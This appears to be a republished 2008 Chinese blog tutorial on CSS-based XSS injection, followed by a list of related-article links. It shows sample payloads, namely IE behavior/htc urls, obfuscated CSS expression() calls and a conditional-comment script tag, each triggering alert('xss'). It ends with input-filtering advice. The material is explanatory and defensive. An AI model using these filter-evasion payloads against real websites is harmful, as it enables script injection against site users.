常见的 XSS 注入攻击方式 Part.2 2

作者:grace 来源:gracecode.com 时间:2008-11-10 12:42:00 

接上一期,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。

考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码

<xss style="behavior: url(xss.htc);">

上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。

<div style="background-image: xss.jpg">

谁会知道 xss.jpg 是什么内容呢?不过很多站点统计代码也是使用了这一原理。

<div style="width: expression(alert('xss'));">
<img style="xss:expr/*xss*/ession(alert('xss'))">
exp/*<A style='noxss:noxss("*//*");xss:ex/*xss*//*/*/pression(alert("xss"))'>

针对 Exploer 的 Expression 要保持“淡定”,最好的做法就是过滤 style 属性。

如果没有将注释完全过滤充分,则又会在 Exploer 出现典型的注入漏洞

<!--[if gte IE 4]>
    <script>alert('xss');</script>
<![endif]-->

安全性问题,这个时候我反而感谢 Exploer 提供那么多的“机会”。

-- Split --

那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips

  1. 假定所有的用户输入数据都是“ * ”的

  2. 弱类型的脚本语言必须保证类型和期望的一致

  3. 考虑周全的正则表达式

  4. strip_tags、htmlspecialchars 这类函数很好用

  5. 外部的 Javascript 不一定就是可靠的

  6. 引号过滤必须要重点注意

  7. 除去不必要的 HTML 注释

  8. Exploer 求你放过我吧……

标签:xss,注入,攻击,数据,css
0
投稿

猜你喜欢

  • 提高网站广告收益之广告位置篇

    2008-04-05 13:25:00
  • 苹果平板电脑新细节曝光 或在明年1月宣布

    2009-09-30 10:21:00
  • 网易称没接到版署终止《魔兽世界》正式通知

    2009-11-07 08:08:00
  • 使用百度指数进行博客的搜索引擎优化

    2008-12-29 15:17:00
  • 使用WordPress添加新页面功能使用页面模板

    2010-03-22 13:16:00
  • 周鸿祎炮轰杀毒厂商:十年未更新 年赚几个亿

    2009-11-18 09:26:00
  • 网站内容运营问题:广告当作内容运营?

    2008-01-04 12:01:00
  • Google限定AdSense广告中可点击的区域

    2007-11-15 12:20:00
  • Linux操作系统下解决Gftp出现乱码的问题

    2009-12-10 18:58:00
  • 佩奇和布林让谷歌成功的13大奇招

    2011-05-06 12:37:00
  • 提高WordPress自带搜索功能体验

    2010-03-26 11:08:00
  • 浪费资源无点点击 应对反盗链技术的途径

    2008-12-25 10:51:00
  • 论坛营销成功学(一)

    2010-03-04 22:26:00
  • Windows2003服务器安装及设置教程——MSSQL安全篇二删除MSSQL危险存储过程的代码

    2010-04-30 22:08:00
  • GoDaddy的域名管理教程

    2010-04-21 13:05:00
  • 提升PR之交叉连接

    2009-05-15 12:55:00
  • 为什么国外站点访问慢,但下载快

    2010-01-20 15:57:00
  • 从马云收购口碑网预测下一个互联网应用热点

    2008-03-21 12:03:00
  • Discuz!X1.5 登录机制

    2011-03-07 20:44:00
  • 【分享】如何做好知识问答类的推广工作

    2009-08-22 16:35:00
  • asp之家 网站运营 m.aspxhome.com